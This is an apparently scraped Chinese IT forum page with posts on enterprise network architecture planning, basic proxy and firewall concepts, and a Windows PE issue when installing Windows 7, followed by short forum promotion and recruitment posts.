企业网络架构规划应从哪些方面着手？企业网络架构规划是一个很广的话题，企业本身的本身的经营规模和网络应用的目的都决定着企业网络架构的大小和方向。在这里，笔者尽量以最通用的方式来说明规划和设计企业网络架构应该从哪些方面着手，以及需要注意些什么问题。就目前来说，一种叫做企业总体架构(Enterprise Architecture)的设计理论，开始被广大的设计人员用来规划和设计企业网络架构。企业总体架构包括：企业战略、业务架构、技术架构、应用架构、基础设施、信息架构、信息安全和IT管理这8个方面。其中：企业战略是企业发展方向的决定因素，在规划和设计企业网络架构时，我们就必需指定作为核心竞争力的信息技术应该如何支持企业战略。业务架构、技术架构、应用架构和基础设施是整个企业网络架构中最基础的构建部分，它们决定了企业IT系统的基本形态。而业务架构又是整个企业网络架构中最有影响力的部分，它决定了企业的业务流程和信息系统应该如何支持这些流程。信息架构包括数据实体及数据的交换和流动，它用来保证数据有效的共享和交换，包括数据的采集、存储、发布和传输。 IT管理就是要求设计的企业网络架构必需安全、可控和可管理。因此，规划企业的总体架构要基于系统的现状和企业的业务发展策略。从企业当前和将来的应用出发，先深入了解自己的商务和IT战略，彻底了解企业的当前期望，并制定高标准的商业流程图与可行性方案。随后深入了解企业当前信息系统的现状，对企业的业务系统进行仔细的分析，梳理企业网络当前存在的问题，总结归纳企业当前的实际需求，将信息系统与业务系统充分融合起来思考，最后设计出一个能提升整个网络应用平台的整合性、安全、可靠、稳定、可控和易用的企业总体网络架构解决方案。实际上，对于一个网络应用规模较大的企业网络架构来说，还必需遵从分层的设计理论，按信息化应用的重要程度，将它们划分为多个层次，并按具体的实施时间依次分段实现。但是，在设计和实现时，必需考虑到每一层的融合问题。另外，在规划和设计企业总体网络架构时，还需要注意下列这些方面： (1)、坚持从企业应用为最基本的出发点。 (2)、设计时应当将企业当前和各类应用和将来会上的应用都必需全部考虑进来，特别是要为企业业务的扩展留下足够的带宽和可扩展的空间。这些方面直接关系到企业网络架构中各类网络设备(如路由器、交换机、安全网关、服务器等)的采购决策，以及决定企业互联网总出口带宽的大小和企业网络的最终拓扑及规模。 (3)、在设计时，应当从全局出发，特别是集团性质的企业，其下属有多个分支机构，在设计企业总体网络架构时，就必需将所有的分支机构的各种应用都考虑进来。但是，在设计时，可以按分区的方式，先分别设计每个分支机构的网络架构，然后再将它们整合到企业的总体网络架构中来。 (4)、设计的企业总体架构必需考虑到企业可以在这方面允许投入的最大成本。并且，在同样成本投入的情况，要尽量设计一个可控、可管、安全、经济节能、绿色环保，以及稳定可靠、高性能的网络架构。也就是说，不能由于投入的资金不够就可以勉强着来，宁可分步实施，也不能如此。还有就是在设计时，要尽量为企业缩减相关投入成本，不论是在经济危机时期，还是在经济形势大好之时都应该如此。

网络管理十二绝招-2 所以我们要将IE的安全性调高一点，经常删除一些cookies和脱机文件，还有就是禁用那些ActiveX的控件。第六、代理服务器代理服务器最先被利用的目的是可以加速访问我们经常看的网站，因为代理服务器都有缓冲的功能，在这里可以保留一些网站与IP地址的对应关系。要想了解代理服务器，首先要了解它的工作原理：环境：局域网里面有一台机器装有双网卡，充当代理服务器，其余电脑通过它来访问网络。 1、内网一台机器要访问新浪，于是将请求发送给代理服务器。 2、代理服务器对发来的请求进行检查，包括题头和内容，然后去掉不必要的或违反约定的内容。 3、代理服务器重新整合数据包，然后将请求发送给下一级网关。 4、新浪网回复请求，找到对应的IP地址。 5、代理服务器依然检查题头和内容是否合法，去掉不适当的内容。 6、重新整合请求，然后将结果发送给内网的那台机器。由此可以看出，代理服务器的优点是可以隐藏内网的机器，这样可以防止黑客的直接攻击，另外可以节省公网IP。缺点就是每次都要经由服务器，这样访问速度会变慢。另外当代理服务器被攻击或者是损坏的时候，其余电脑将不能访问网络。第七、防火墙提到防火墙，顾名思义，就是防火的一道墙。防火墙的最根本工作原理就是数据包过滤。实际上在数据包过滤的提出之前，都已经出现了防火墙。数据包过滤，就是通过查看题头的数据包是否含有非法的数据，我们将此屏蔽。举个简单的例子，假如体育中心有一场刘德华演唱会，检票员坐镇门口，他首先检查你的票是否对应，是否今天的，然后撕下右边的一条，将剩余的给你，然后告诉你演唱会现场在哪里，告诉你怎么走。这个基本上就是数据包过滤的工作流程吧。你也许经常听到你们老板说：要增加一台机器它可以禁止我们不想要的网站，可以禁止一些邮件它经常给我们发送垃圾邮件和病毒等，但是没有一个老板会说：要增加一台机器它可以禁止我们不愿意访问的数据包。实际意思就是这样。接下来我们推荐几个常用的数据包过滤工具。最常见的数据包过滤工具是路由器。另外系统中带有数据包过滤工具，例如LinuxTCP/IP中带有的ipchain等windows2000带有的TCP/IPFiltering筛选器等，通过这些我们就可以过滤掉我们不想要的数据包。防火墙也许是使用最多的数据包过滤工具了，现在的软件防火墙和硬件防火墙都有数据包过滤的功能。接下来我们会重点介绍防火墙的。防火墙通过一下方面来加强网络的安全： 1、策略的设置策略的设置包括允许与禁止。允许例如允许我们的客户机收发电子邮件，允许他们访问一些必要的网站等。例如防火墙经常这么设置，允许内网的机器访问网站、收发电子邮件、从FTP下载资料等。这样我们就要打开80、25、110、21端口，开HTTP、SMTP、POP3、FTP等。禁止就是禁止我们的客户机去访问哪些服务。例如我们禁止邮件客户来访问网站，于是我们就给他打开25、110，关闭80。

用Win PE安装Windows 7的注意事项由于Windows 7 安装“载体无关性”的新特性，可以让我们灵活地、随心所欲地来安装或部署 Windows 7。目前在网上盛传着各类介绍 Windows 7 安装方式的资讯，如：怎么通过硬盘来安装、自己制作光盘来安装、使用 U盘来安装，使用硬盘来安装或通过网络来安装。gOxiA 很早也发布了相关的日志，而今天主要是分享 Windows PE 来安装部署 Windows 7 RTM 时所要注意的事项。作为一名 IT 专业人士，面对工作时必须要严谨、认真、高效、灵活并且值得信赖!在系统部署或维护时，各自手中都会有一张 Windows PE 或定制版的 Windows PE。正如前面所提到的工作态度，导致一些在网上非常 HOT 的定制版 Windows PE 可能不适用与一些工作环境。通常 ITPro 会使用 WAIK 来制作一张属于自己的定制版 Windows PE，里面集成了一些非常实用的小工具，比如 gOxiA 早先基于 Windows Vista WAIK 制作的定制版 Windows PE，内部就集成了远程桌面、Imagex、Ghost 和虚拟光驱等实用的软件，特别是这个虚拟光驱工具可以轻松地载入 Windows Vista 的安装 ISO 甚至是现在 Windows 7 的安装 ISO，这对于安装操作系统来讲是非常便捷的，因为我们不需要专门制作、维护一份存储有 Windows 的安装源。从 Windows Vista 开始，gOxiA 就在自己的 U盘、移动硬盘、光盘甚至是 WDS 服务器上拷贝了自己定制的 Windows PE，用于安装和维护操作系统，非常之方便。并且这份 PE 一直沿用至 Windows 7 RC，但是到 Windows 7 RTM 英文版后，便无法再使用(PS：泄漏的 Windows 7 RTM 中文版并未发现此问题)!具体表现为，当执行 Setup 安装后第一阶段结束会提示一个无法处理的错误，之后安装宣告失败。电脑网络学院(http://tieba.baidu.com/mo/q/checkurl?url=http%3A%2F%2Fwww.pcedu123.com%2F&urlrefer=cb0b225c9759f81f39925061c6235993)提醒大家检查系统盘，发现盘中的目录格式并非正常命名，而是包含有 Windows.old 这样的目录，看来英文版的 Windows 7 RTM 在安装时对系统检查这一过程更加严谨，将我基于 Windows Vista 的 PE 识别为了老版本的系统，故最终导致安装失败! OK，注意事项就是这个，如果要使用 Windows PE 来安装部署 Windows 7 RTM，则必须满足 Windows PE 是最新的 WAIK 3.0 制作的，否则就必须使用 Imagex 来手工安装 Windows 7。

【网管培训班】每日三题，进步从今天开始！091130 每天进步一点点，学习从此刻开始，只要坚持不懈，持之以恒，成功就在不远处！

欢迎加入我们IT一族团队【诚邀】【欢迎加入我们IT一族团队】本吧地址：http://tieba.baidu.com/f?kw=it%D2%BB%D7%E5

【诚邀】【欢迎加入我们IT一族团队】本吧地址：http://tieba.baidu.com/f?kw=it%D2%BB%D7%E5

新人来报道了。。哈哈哈新人来报道了。。哈哈哈

咋还没更新列。咋还没更新列。

2007年论坛招聘版主和申请自建版块议项书 2007年论坛招聘版主和申请自建版块议项书首先谨代表我是IT一族感谢长期以来对本论坛关注和爱护的各新老会员。论坛因你们而精彩，因你们而自豪。欢迎你们把论坛当家园一样，在这交朋识友、娱乐和学习，本论坛决定2007年加快论坛发展步伐．特招聘版主一批，也欢迎个人、团队......申请论坛自建版块．详细地址：http://www.54itmen.cn/announcement.php?id=6#6

2007年论坛招聘版主和申请自建版块议项书

新开杭州传奇。。时代版服务器名称：杭州传奇IP地址：202.75.216.212

企业IT一族论坛；www.54itmen.cn找友情链接。有想做链接的朋友直接去我论坛申请好了。

IT家园论坛 www.54itmen.cn欢迎大家来逛逛。。。 IT家园论坛 www.54itmen.cn欢迎大家来逛逛。。。